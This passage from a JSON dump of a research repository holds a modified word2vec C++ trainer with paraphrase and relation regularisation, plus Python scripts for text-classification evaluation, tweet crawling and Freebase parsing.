if (f > MAX_EXP) g = (label - 1) * lambda;\\n else if (f < -MAX_EXP) g = (label - 0) * lambda;\\n else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * lambda;\\n for (c = 0; c < layer1_size; c++) neu1[c] += g * syn1neg[c + l2];\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn1neg[c + l1];\\n }\\n for (c = 0; c < layer1_size; c++) syn1neg[c + l1] += neu1[c];\\n }\\n //cout << endl;\\n word_count++;\\n if ((word_count - last_word_count) % 5000 == 0) { //todo: shrink learning rate\\n pp_count_actual += word_count - last_word_count;\\n now=clock();\\n printf(\\\"%cLambda: %f Progress: %.2f%% Words/thread/sec: %.2fk \\\", 13, lambda,\\n pp_count_actual / (real)(train_words_total + 1) * 100,\\n pp_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));\\n fflush(stdout);\\n lambda = starting_lambda * (1 - pp_count_actual / (real)(train_words_total + 1));\\n if (lambda < starting_lambda * 0.0001) lambda = starting_lambda * 0.0001;\\n word_count = last_word_count;\\n }\\n }\\n if((ep + 1) % 10 == 0 && (((ep + 1) / 10)) % num_thread_pmm == ((long long)id - num_threads) ) if (ppeval != NULL)\\n {\\n //evaluateMRRout(10000, ppeval);\\n }\\n //next_random = next_random * (unsigned long long)25214903917 + 11;\\n //b = next_random % window;\\n }\\n //fclose(fi);\\n //fclose(fo);\\n free(wordIds);\\n free(neu1);\\n delete [] wordList;\\n pthread_exit(NULL);\\n}\\n\\nint LoadEmb(string modelname) {\\n long long words, size, a, b;\\n char ch;\\n FILE *f = fopen(modelname.c_str(), \\\"rb\\\");\\n if (f == NULL) {\\n printf(\\\"Input file not found\\\\n\\\");\\n return -1;\\n }\\n\\n fscanf(f, \\\"%lld\\\", &words);\\n fscanf(f, \\\"%lld\\\", &size);\\n if (size != layer1_size) {\\n printf(\\\"inconsistent dimensions \\\\n\\\");\\n exit(-1);\\n }\\n //syn1neg = (float *)malloc(words * size * sizeof(float));\\n if (syn1neg == NULL) {\\n printf(\\\"Cannot allocate memory: %lld MB\\\\n\\\", words * size * sizeof(float) / 1048576);\\n return -1;\\n }\\n\\n char tmpword[max_w];\\n int count; char ch2;\\n for (b = 0; b < words; b++) {\\n fscanf(f, \\\"%s%c%d%c\\\", tmpword, &ch, &count, &ch2);\\n //fscanf(f, \\\"%s%c\\\", tmpword, &ch);\\n int id = SearchVocab(tmpword);\\n if (id == -1) continue;\\n\\n for (a = 0; a < size; a++) fread(&syn1neg[a + id * size], sizeof(float), 1, f);\\n //for (a = 0; a < size; a++) fread(&syn1neg[a + b * size], sizeof(float), 1, f);\\n }\\n fclose(f);\\n\\n return 0;\\n}\\n\\nvoid TrainModel() {\\n long a, b;\\n FILE *fo;\\n //pthread_t *pt = (pthread_t *)malloc((num_threads + num_thread_pmm) * sizeof(pthread_t));\\n printf(\\\"Starting training using file %s\\\\n\\\", train_file);\\n starting_alpha = alpha;\\n starting_lambda = lambda;\\n if (read_vocab_file[0] != 0) ReadVocab(); else LearnVocabFromTrainFile();\\n // RelationData Test\\n //if (rdata) {\\n //for (auto &relation_word : rdata->relations) {\\n //int i = SearchVocab(relation_word.first.c_str());\\n //if (i == -1) {\\n //cout << relation_word.first << \\\" not exist.\\\" << endl;\\n //} else\\n //cout << relation_word.first << \\\":\\\" << vocab[i].cn << endl;\\n //}\\n //}\\n //exit(1);\\n // RelationalData End\\n if (save_vocab_file[0] != 0) SaveVocab();\\n if (output_file[0] == 0) return;\\n InitNet();\\n if (negative > 0) InitUnigramTable();\\n start = clock();\\n BuildUpperDict();\\n //evaluateMRRout(10000, ppeval);\\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegThread, (void *)a);\\n// for (int ep = 0; ep < epochs; ep++) {\\n// //TrainModelRegNCEThread(0);\\n\\n //TEST\\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelRegNCEThread, (void *)a);\\n //a = num_threads;\\n TrainModelRegNCEThread(0);\\n TrainRelationVectorThread(0);\\n //TEST end\\n //pthread_create(&pt[0], NULL, TrainModelRegNCEThread, (void *)0);\\n //pthread_create(&pt[num_threads], NULL, TrainPPDBVectorThread, (void *)a);\\n\\n //TEST\\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThreadNew, (void *)a);\\n //for (a = 0; a < num_threads; a++) pthread_join(pt[a], NULL);\\n //for (a = num_threads; a < num_threads + num_thread_pmm; a++) pthread_cancel(pt[a]);\\n //TEST End\\n\\n// }\\n //for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainPPDBVectorThread, (void *)a);\\n //TrainPPDBVectorThread(0);\\n //TrainModelRegNCEThread(0);\\n\\n fo = fopen(output_file, \\\"wb\\\");\\n printf(\\\"\\\\n\\\\nwrite to file:%s\\\\n\\\", output_file);\\n if (classes == 0) {\\n // Save the word vectors\\n fprintf(fo, \\\"%lld %lld\\\\n\\\", vocab_size, layer1_size);\\n for (a = 0; a < vocab_size; a++) {\\n //fprintf(fo, \\\"%s %d \\\", vocab[a].word, vocab[a].cn);\\n fprintf(fo, \\\"%s \\\", vocab[a].word);\\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn0[a * layer1_size + b], sizeof(real), 1, fo);\\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \\\"%lf \\\", syn0[a * layer1_size + b]);\\n if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn1neg[a * layer1_size + b], sizeof(real), 1, fo);\\n else for (b = 0; b < layer1_size; b++) fprintf(fo, \\\"%lf \\\", syn1neg[a * layer1_size + b]);\\n fprintf(fo, \\\"\\\\n\\\");\\n }\\n }\\n fclose(fo);\\n}\\n\\nint ArgPos(char *str, int argc, char **argv) {\\n int a;\\n for (a = 1; a < argc; a++) if (!strcmp(str, argv[a])) {\\n if (a == argc - 1) {\\n printf(\\\"Argument missing for %s\\\\n\\\", str);\\n exit(1);\\n }\\n return a;\\n }\\n return -1;\\n}\\n\\nint main(int argc, char **argv) {\\n //pp = new Paraphrase(\\\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.test\\\");\\n //pp = new Paraphrase(\\\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/ppdb-1.0-s-lexical.wordlist100\\\");\\n //evaluate(\\\"/Users/gflfof/Desktop/new work/phrase_embedding/PPDB/vectors.wordlist100.bin\\\", 10000, pp);\\n //evaluateMRR(\\\"/Users/gflfof/Desktop/new work/phrase_embedding/trunk/vector.wordlist100.reg\\\", 10000, pp);\\n //return 0;\\n int i;\\n output_file[0] = 0;\\n save_vocab_file[0] = 0;\\n read_vocab_file[0] = 0;\\n reg_in = 0;\\n reg_out = 1;\\n if (argc != 1) {\\n if ((i = ArgPos((char *)\\\"-size\\\", argc, argv)) > 0) layer1_size = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-epochs\\\", argc, argv)) > 0) epochs = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-train\\\", argc, argv)) > 0) strcpy(train_file, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-train2\\\", argc, argv)) > 0) strcpy(train_file2, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-save-vocab\\\", argc, argv)) > 0) strcpy(save_vocab_file, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-read-vocab\\\", argc, argv)) > 0) strcpy(read_vocab_file, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-debug\\\", argc, argv)) > 0) debug_mode = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-binary\\\", argc, argv)) > 0) binary = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-cbow\\\", argc, argv)) > 0) cbow = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-alpha\\\", argc, argv)) > 0) alpha = atof(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-output\\\", argc, argv)) > 0) strcpy(output_file, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-window\\\", argc, argv)) > 0) window = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-sample\\\", argc, argv)) > 0) sample = atof(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-hs\\\", argc, argv)) > 0) hs = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-negative\\\", argc, argv)) > 0) negative = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-weight-tying\\\", argc, argv)) > 0) weight_tying = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-threads\\\", argc, argv)) > 0) num_threads = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-thread-pmm\\\", argc, argv)) > 0) num_thread_pmm = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-min-count\\\", argc, argv)) > 0) min_count = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-classes\\\", argc, argv)) > 0) classes = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-regin\\\", argc, argv)) > 0) reg_in = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-regout\\\", argc, argv)) > 0) reg_out = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-ppfile\\\", argc, argv)) > 0) strcpy(pp_file, argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-lambda\\\", argc, argv)) > 0) lambda = atof(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-semdim\\\", argc, argv)) > 0) sem_dim = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-word2vec\\\", argc, argv)) > 0) word2vec = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-pretrain\\\", argc, argv)) > 0) pretrain = atoi(argv[i + 1]);\\n if ((i = ArgPos((char *)\\\"-pretrain-file\\\", argc, argv)) > 0) strcpy(pretrain_file, argv[i + 1]);\\n }\\n else{\\n printf(\\\"WORD VECTOR estimation toolkit v 0.1b\\\\n\\\\n\\\");\\n printf(\\\"Options:\\\\n\\\");\\n printf(\\\"Parameters for training:\\\\n\\\");\\n printf(\\\"\\\\t-train <file>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tUse text data from <file> to train the model\\\\n\\\");\\n printf(\\\"\\\\t-output <file>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tUse <file> to save the resulting word vectors / word clusters\\\\n\\\");\\n printf(\\\"\\\\t-size <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSet size of word vectors; default is 100\\\\n\\\");\\n printf(\\\"\\\\t-window <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSet max skip length between words; default is 5\\\\n\\\");\\n printf(\\\"\\\\t-sample <float>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSet threshold for occurrence of words. Those that appear with higher frequency\\\");\\n printf(\\\" in the training data will be randomly down-sampled; default is 0 (off), useful value is 1e-5\\\\n\\\");\\n printf(\\\"\\\\t-hs <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tUse Hierarchical Softmax; default is 1 (0 = not used)\\\\n\\\");\\n printf(\\\"\\\\t-negative <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tNumber of negative examples; default is 0, common values are 5 - 10 (0 = not used)\\\\n\\\");\\n printf(\\\"\\\\t-threads <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tUse <int> threads (default 1)\\\\n\\\");\\n printf(\\\"\\\\t-min-count <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tThis will discard words that appear less than <int> times; default is 5\\\\n\\\");\\n printf(\\\"\\\\t-alpha <float>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSet the starting learning rate; default is 0.025\\\\n\\\");\\n printf(\\\"\\\\t-classes <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tOutput word classes rather than word vectors; default number of classes is 0 (vectors are written)\\\\n\\\");\\n printf(\\\"\\\\t-debug <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSet the debug mode (default = 2 = more info during training)\\\\n\\\");\\n printf(\\\"\\\\t-binary <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tSave the resulting vectors in binary moded; default is 0 (off)\\\\n\\\");\\n printf(\\\"\\\\t-save-vocab <file>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tThe vocabulary will be saved to <file>\\\\n\\\");\\n printf(\\\"\\\\t-read-vocab <file>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tThe vocabulary will be read from <file>, not constructed from the training data\\\\n\\\");\\n printf(\\\"\\\\t-cbow <int>\\\\n\\\");\\n printf(\\\"\\\\t\\\\tUse the continuous bag of words model; default is 0 (skip-gram model)\\\\n\\\");\\n printf(\\\"\\\\nExamples:\\\\n\\\");\\n printf(\\\"./word2vec -train data.txt -output vec.txt -debug 2 -size 200 -window 5 -sample 1e-4 -negative 5 -hs 0 -binary 0 -cbow 1\\\\n\\\\n\\\");\\n\\n //fileconfig\\n strcpy(train_file, \\\"../../paper/data/wiki/wiki_corpus_small\\\");\\n strcpy(output_file, \\\"../../paper/data/srwe_model/wiki_small.w2v.r.0.00001.update_word.train_relation.model\\\");\\n strcpy(pp_file, \\\"../../paper/data/srwe_model/semantic_pair\\\");\\n strcpy(relational_file, \\\"../../paper/data/srwe_model/freebase.100.relation.train\\\");\\n use_relational = 1;\\n use_pp = 1;\\n cbow = 1;\\n layer1_size = 100;\\n window = 5;\\n negative = 5;\\n hs = 0;\\n sample = 1e-4;\\n num_threads = 1;\\n num_thread_pmm = 1;\\n binary = 0;\\n lambda = 0.00005;\\n gamma_value = 0.00001;\\n\\n weight_tying = 0;\\n reg_in = 1;\\n reg_out = 1;\\n word2vec = 1;\\n pretrain = 0;\\n epochs = 300;\\n }\\n\\n if (sem_dim == 0) {\\n sem_dim = layer1_size;\\n }\\n pp_count_actual = 0;\\n vocab = (struct vocab_word *)calloc(vocab_max_size, sizeof(struct vocab_word));\\n vocab_hash = (int *)calloc(vocab_hash_size, sizeof(int));\\n expTable = (real *)malloc((EXP_TABLE_SIZE + 1) * sizeof(real));\\n for (i = 0; i < EXP_TABLE_SIZE; i++) {\\n expTable[i] = exp((i / (real)EXP_TABLE_SIZE * 2 - 1) * MAX_EXP); // Precompute the exp() table\\n expTable[i] = expTable[i] / (expTable[i] + 1); // Precompute f(x) = x / (x + 1)\\n }\\n pp = new Paraphrase2(pp_file);\\n cout << \\\"pp.size:\\\" << pp->ppdict.size() << endl;\\n ppeval = NULL;\\n rdata = new RelationalData(string(relational_file));\\n TrainModel();\\n cout << endl;\\n cout << alpha << endl;\\n cout << word_count_actual << endl;\\n cout << \\\"lambda:\\\" << lambda << endl;\\n cout << pp_count_actual << endl;\\n delete pp;\\n pp = NULL;\\n return 0;\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6356382966041565,\n \"alphanum_fraction\": 0.6578013896942139,\n \"avg_line_length\": 17.491804122924805,\n \"blob_id\": \"7513263887740a111d4a041e742c8c075b7e33d7\",\n \"content_id\": \"60b3519e67ebfd1095543530eecfa13543505193\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1130,\n \"license_type\": \"no_license\",\n \"max_line_length\": 67,\n \"num_lines\": 61,\n \"path\": \"/src/Paraphrase.h\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//\\n// Paraphrase.h\\n// word2vec\\n//\\n// Created by gflfof gflfof on 14-1-22.\\n// Copyright (c) 2014年 hit. All rights reserved.\\n//\\n\\n#ifndef word2vec_Paraphrase_h\\n#define word2vec_Paraphrase_h\\n\\n#include <tr1/unordered_map>\\n#include <iostream>\\n#include <vector>\\n#include <fstream>\\n#include <string.h>\\n\\nusing namespace std;\\n\\ntypedef std::tr1::unordered_map<string, vector<string> > word2list;\\ntypedef std::tr1::unordered_map<string, int> word2int;\\ntypedef std::tr1::unordered_map<string, word2int> word2dict;\\n\\nclass Paraphrase2\\n{\\npublic:\\n word2dict ppdict;\\n \\n Paraphrase2(string filename)\\n {\\n InitDict(filename);\\n }\\n \\n void InitDict(string filename);\\n \\n void GetList(string word, vector<string>& pplist);\\n void GetDict(vector<string>& keys);\\n};\\n\\nclass Paraphrase\\n{\\n public:\\n word2list pplist;\\n \\n Paraphrase(string filename)\\n {\\n InitList(filename);\\n }\\n \\n Paraphrase(Paraphrase2* ppdict)\\n {\\n \\n }\\n \\n void InitList(string filename);\\n \\n //vector<string>* GetList(string word);\\n void GetList(string word, vector<string>& retlist);\\n};\\n\\n#endif\\n\"\n },\n {\n \"alpha_fraction\": 0.6248149871826172,\n \"alphanum_fraction\": 0.6356684565544128,\n \"avg_line_length\": 39.93939208984375,\n \"blob_id\": \"b9bd8cfababff8f67342310c25f044a23e23a9f7\",\n \"content_id\": \"56caeaf580a76346d9cfe2ebba2ed68c254711f1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4054,\n \"license_type\": \"no_license\",\n \"max_line_length\": 137,\n \"num_lines\": 99,\n \"path\": \"/evaluation/text_classification.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\nsys.path.append('../src')\\nfrom utils import load_w2v_model\\nfrom collections import defaultdict\\nimport numpy as np\\nfrom sklearn.cross_validation import train_test_split\\nfrom sklearn.linear_model import LogisticRegression\\nfrom sklearn.metrics import precision_recall_fscore_support\\nimport logging\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\nfrom nltk.corpus import stopwords\\nfrom nltk.tokenize import word_tokenize\\nenglish_stopwords = stopwords.words('english')\\nenglish_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%']\\nwords_to_remove = english_stopwords + english_punctuations\\n\\ndef clean_text(text):\\n return [word.lower() for word in word_tokenize(text) if word not in words_to_remove]\\n\\ndef get_vec_from_words(words, model, d):\\n vec_sum = np.zeros(d)\\n for word in words:\\n if word in model:\\n vec_sum += model[word]\\n return vec_sum\\n\\ndef get_vec_len(model):\\n vec_len = 0\\n for each in model:\\n vec_len = len(model[each])\\n break\\n return vec_len\\n\\ndef load_nytimes(filename, model):\\n d = get_vec_len(model)\\n corpus_vec = []\\n corpus_label = []\\n line_count = 0\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n corpus_vec.append(get_vec_from_words(clean_text(arr[0].decode('utf-8')), model, d))\\n corpus_label.append(arr[1])\\n if line_count % 50000 == 0:\\n logging.info('loading nytimes... %d' % line_count)\\n line_count += 1\\n return np.array(corpus_vec), corpus_label\\n\\ndef transfer_label(labels, target):\\n res = [1 if x == target else 0 for x in labels]\\n return np.array(res)\\n\\ndef train(label, X_train, X_test, y_train, y_test):\\n logging.info('training %s' % label)\\n y_train_label = transfer_label(y_train, label)\\n y_test_label = transfer_label(y_test, label)\\n clf = LogisticRegression()\\n clf.fit(X_train, y_train_label)\\n ans = clf.predict_proba(X_test[0].reshape(1, -1))\\n #print clf.classes_\\n #print type(ans)\\n #print ans\\n return clf\\n #acc = clf.score(X_test, y_test_label)\\n #logging.info('%s acc:%lf' % (label, acc))\\n #y_pred = clf.predict(X_test)\\n #precision, recall, f_score, support = precision_recall_fscore_support(y_test_label, y_pred, average='binary')\\n #logging.info('%s,length:%d,precision:%.4lf,recall:%.4lf,f_score:%.4lf' % (label, y_test_label.shape[0], precision, recall, f_score))\\n\\ndef main():\\n model_file = '../../paper/data/srwe_model/wiki_small.w2v.model'\\n nytimes_file = '../gen_data/nytimes/news_corpus'\\n model = load_w2v_model(model_file, logging, nparray=True)\\n corpus_vec, corpus_label = load_nytimes(nytimes_file, model)\\n labels = list(set(corpus_label))\\n X_train, X_test, y_train, y_test = train_test_split(corpus_vec, corpus_label, test_size=0.2, random_state=42)\\n logging.info('train size: %d, test size:%d' % (len(y_train), len(y_test)))\\n clfs = {}\\n for label in labels:\\n clfs[label] = train(label, X_train, X_test, y_train, y_test)\\n\\n y_pred = []\\n for each in X_test:\\n pred_res = []\\n for label in clfs:\\n pred_res.append((clfs[label].predict_proba(each.reshape(1, -1))[0][1], label))\\n sorted_pred = sorted(pred_res, key=lambda x: x[0], reverse=True)\\n y_pred.append(sorted_pred[0][1])\\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred)\\n for l, p, r, f in zip(present_labels, precision, recall, f_score):\\n print '%s\\\\t%.4lf\\\\t%.4lf\\\\t%.4lf' % (l, p, r, f)\\n\\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='macro')\\n print 'Macro\\\\t%.4lf\\\\t%.4lf\\\\t%.4lf' % (precision, recall, f_score)\\n precision, recall, f_score, support, present_labels = precision_recall_fscore_support(y_test, y_pred, average='micro')\\n print 'Micro\\\\t%.4lf\\\\t%.4lf\\\\t%.4lf' % (precision, recall, f_score)\\n\\nif __name__ == '__main__':\\n main()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5619403123855591,\n \"alphanum_fraction\": 0.5738806128501892,\n \"avg_line_length\": 33.79220962524414,\n \"blob_id\": \"d083807b8756abab2d4fc397b7d97664125c1a80\",\n \"content_id\": \"7994d19eec351f6768c17445b585c5fb5602d277\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2680,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 77,\n \"path\": \"/gen_data/twitter/crawler_twitter.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import lxml.html as H\\nimport urllib\\nimport socket\\nsocket.setdefaulttimeout(10)\\nimport json\\nimport logging\\nlogging.basicConfig(format='%(asctime)s\\\\t%(message)s', level=logging.INFO)\\nfrom multiprocessing import Process\\n\\nXPATH_INITDATA = '//p[@class=\\\"TweetTextSize TweetTextSize--26px js-tweet-text tweet-text\\\"]'\\n\\ndef get_tweet(uid, sid):\\n f = urllib.urlopen(\\\"https://twitter.com/%s/status/%s\\\" % (uid, sid))\\n page = H.document_fromstring(f.read())\\n node = page.xpath(XPATH_INITDATA)\\n if len(node) != 1: return None\\n return node[0].text_content()\\n #data = json.loads(node[0].value)\\n #if u'initialState' not in data or u'title' not in data[u'initialState']: return None\\n #return data[u'initialState'][u'title']\\n\\ndef work_process(_id, begin, end, filename):\\n logging.info('process %d start' % _id)\\n fout = file('../tweets/part_%d.res' % _id, 'w')\\n ferr = file('../tweets/part_%d.err' % _id, 'w')\\n line_count = 0\\n process_line = 0\\n with open(filename) as fin:\\n for line in fin:\\n line_count += 1\\n if line_count < begin: continue\\n if line_count >= end: break\\n process_line += 1\\n if process_line % 10 == 0:\\n logging.info('process %d:%d:%lf%%' % (_id, process_line, 1.0 * process_line / (end - begin) * 100))\\n sid, uid, md5, topic = line.strip().split('\\\\t')\\n try:\\n tweet = get_tweet(uid, sid)\\n if tweet:\\n fout.write('%s\\\\t%s\\\\t%s\\\\t%s\\\\n' % (sid, uid, topic, tweet.encode('utf-8')))\\n fout.flush()\\n except Exception, e:\\n logging.info('process:%d\\\\tline:%d\\\\terr:%s' % (_id, line_count, str(e)))\\n ferr.write('%s' % line)\\n ferr.flush()\\n fout.close()\\n ferr.close()\\n logging.info('process:%d finish' % _id)\\n\\ndef get_line_count(filename):\\n logging.info('getting line count')\\n count = 0\\n with open(filename) as fin:\\n for line in fin:\\n count += 1\\n return count\\n\\ndef main():\\n filename = '../../../paper/data/twitter/ODPtweets-Mar17-29.tsv'\\n total = get_line_count(filename)\\n logging.info('%s:line_count:%d' % (filename, total))\\n process_nums = 5\\n size = total / process_nums\\n seg_info = [0]\\n for i in range(process_nums - 1):\\n seg_info.append(seg_info[-1] + size)\\n seg_info.append(total)\\n processes = []\\n for i in range(process_nums):\\n processes.append(Process(target=work_process, args=(i, seg_info[i], seg_info[i + 1], filename, )))\\n for p in processes:\\n p.start()\\n for p in processes:\\n p.join()\\n\\nif __name__ == '__main__':\\n main()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.4997994899749756,\n \"alphanum_fraction\": 0.5173105001449585,\n \"avg_line_length\": 33.15981674194336,\n \"blob_id\": \"f8f348c576cacb6a892eb5de8631a106d3f09617\",\n \"content_id\": \"397c37d566ef9a63cdf28e4c69673d86143ae2c1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7481,\n \"license_type\": \"no_license\",\n \"max_line_length\": 161,\n \"num_lines\": 219,\n \"path\": \"/gen_data/parse_freebase_.py\",\n \"repo_name\": \"zbhno37/srwe\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import gzip\\nimport sys\\nsys.path.append('../src')\\nimport datetime\\nimport re\\nfrom utils import is_version, load_wiki_dict\\nimport os\\n\\ndef log(logstr, writer = sys.stdout, inline = False):\\n writer.write(\\\"%s\\\\t%s%s\\\" % (str(datetime.datetime.now()), logstr, '\\\\r' if inline else '\\\\n'))\\n writer.flush()\\n\\ndef clean_tag():\\n fout = file('../../paper/data/freebase/instance.all.clean', 'w')\\n ferr = file('../../paper/data/freebase/instance.all.err', 'w')\\n relation = 'type.type.instance>'\\n ns_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\\n count = 1\\n with open('../../paper/data/freebase/instance.all.tag') as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if len(arr) != 4 or not arr[1].endswith(relation):\\n ferr.write('%s\\\\n' % line)\\n continue\\n topic = ns_pattern.search(arr[0]).groups()[0]\\n mid = ns_pattern.search(arr[2]).groups()[0]\\n fout.write('%s\\\\t%s\\\\n' % (topic, mid))\\n if count % 100000 == 0:\\n log(count)\\n count += 1\\n fout.close()\\n\\ndef extract_instance():\\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\\n fout = file('../../paper/data/freebase/os_extract', 'w')\\n\\n relation = 'type.type.instance'\\n\\n count = 0\\n total = 0\\n for line in fin:\\n if relation in line:\\n fout.write('%s' % line)\\n count += 1\\n if total % 1000000 == 0:\\n log('total:%d, count:%d' % (total, count))\\n total += 1\\n fout.close()\\n log('total:%d, count:%d' % (total, count))\\n\\ndef filter_name():\\n name_pattern = re.compile(r'\\\\\\\"(.*)\\\\\\\"@en')\\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\\n fin = gzip.open('../../paper/data/freebase/freebase-rdf-latest.gz.1')\\n fout = file('../../paper/data/freebase/mid_name.clean', 'w')\\n\\n relation = '<http://rdf.freebase.com/ns/type.object.name>'\\n language = '@en'\\n\\n count = 0\\n total = 0\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n total += 1\\n if len(arr) >= 3 and relation in arr[1] and arr[2].endswith(language):\\n name = name_pattern.search(arr[2])\\n if not name: continue\\n name = name.groups()[0]\\n mid = mid_pattern.search(arr[0]).groups()[0]\\n fout.write('%s\\\\t%s\\\\n' % (mid, name))\\n fout.flush()\\n count += 1\\n log(count, inline=False)\\n if total % 1000000 == 0:\\n log('total:%d' % total)\\n\\n log('total:%d' % total)\\n #if 'type.object.type' in line:\\n #fout.write(line)\\n #fout.flush()\\n #count += 1\\n #log(count, inline=False)\\n\\ndef filter_1_gram():\\n name_pattern = re.compile(r'\\\\\\\"(.*)\\\\\\\"@en')\\n mid_pattern = re.compile(r'<http://rdf.freebase.com/ns/(.*)>')\\n fin = open('../../paper/data/freebase/alias')\\n fout = open('../../paper/data/freebase/alias_1gram', 'w')\\n count = 0\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if len(arr) < 3: continue\\n name = name_pattern.search(arr[2])\\n if not name: continue\\n name = name.groups()[0]\\n # remain 1 word record\\n if len(name.split(' ')) > 1: continue\\n mid = mid_pattern.search(arr[0]).groups()[0]\\n fout.write('%s\\\\t%s\\\\n' % (mid, name))\\n count += 1\\n if count % 1000 == 0:\\n log(count)\\n fout.close()\\n\\ndef load_map(filename):\\n id_map = {}\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n id_map[arr[0]] = arr[1]\\n return id_map\\n\\ndef alias_to_name(filename):\\n count = 1\\n log('loading id_map...')\\n id_map = load_map('../../paper/data/freebase/id_map.1gram')\\n fout = file('../../paper/data/freebase/alias_pair', 'w')\\n log('mapping alias...')\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if arr[0] not in id_map: continue\\n fout.write('%s\\\\t%s\\\\n' % (id_map[arr[0]], arr[1]))\\n if count % 1000 == 0:\\n log(count)\\n fout.close()\\n\\ndef relation_to_name(filename):\\n count = 1\\n log('loading id_map...')\\n id_map = load_map('../../paper/data/freebase/mid_name')\\n fout = file('../../paper/data/freebase/instance.all.name', 'w')\\n ferr = file('../../paper/data/freebase/instance.miss.err', 'w')\\n log('mapping instances...')\\n with open(filename) as fin:\\n for line in fin:\\n arr = line.strip().split('\\\\t')\\n if arr[1] not in id_map:\\n ferr.write('%s\\\\n' % arr[1])\\n continue\\n fout.write('%s\\\\t%s\\\\n' % (arr[0], id_map[arr[1]]))\\n if count % 1000 == 0:\\n log(count)\\n fout.close()\\n ferr.close()\\n\\ndef split_relation(filename):\\n wiki_dict = load_wiki_dict('../../paper/data/wiki/wiki_corpus.vocab')\\n count = 1\\n fouts = 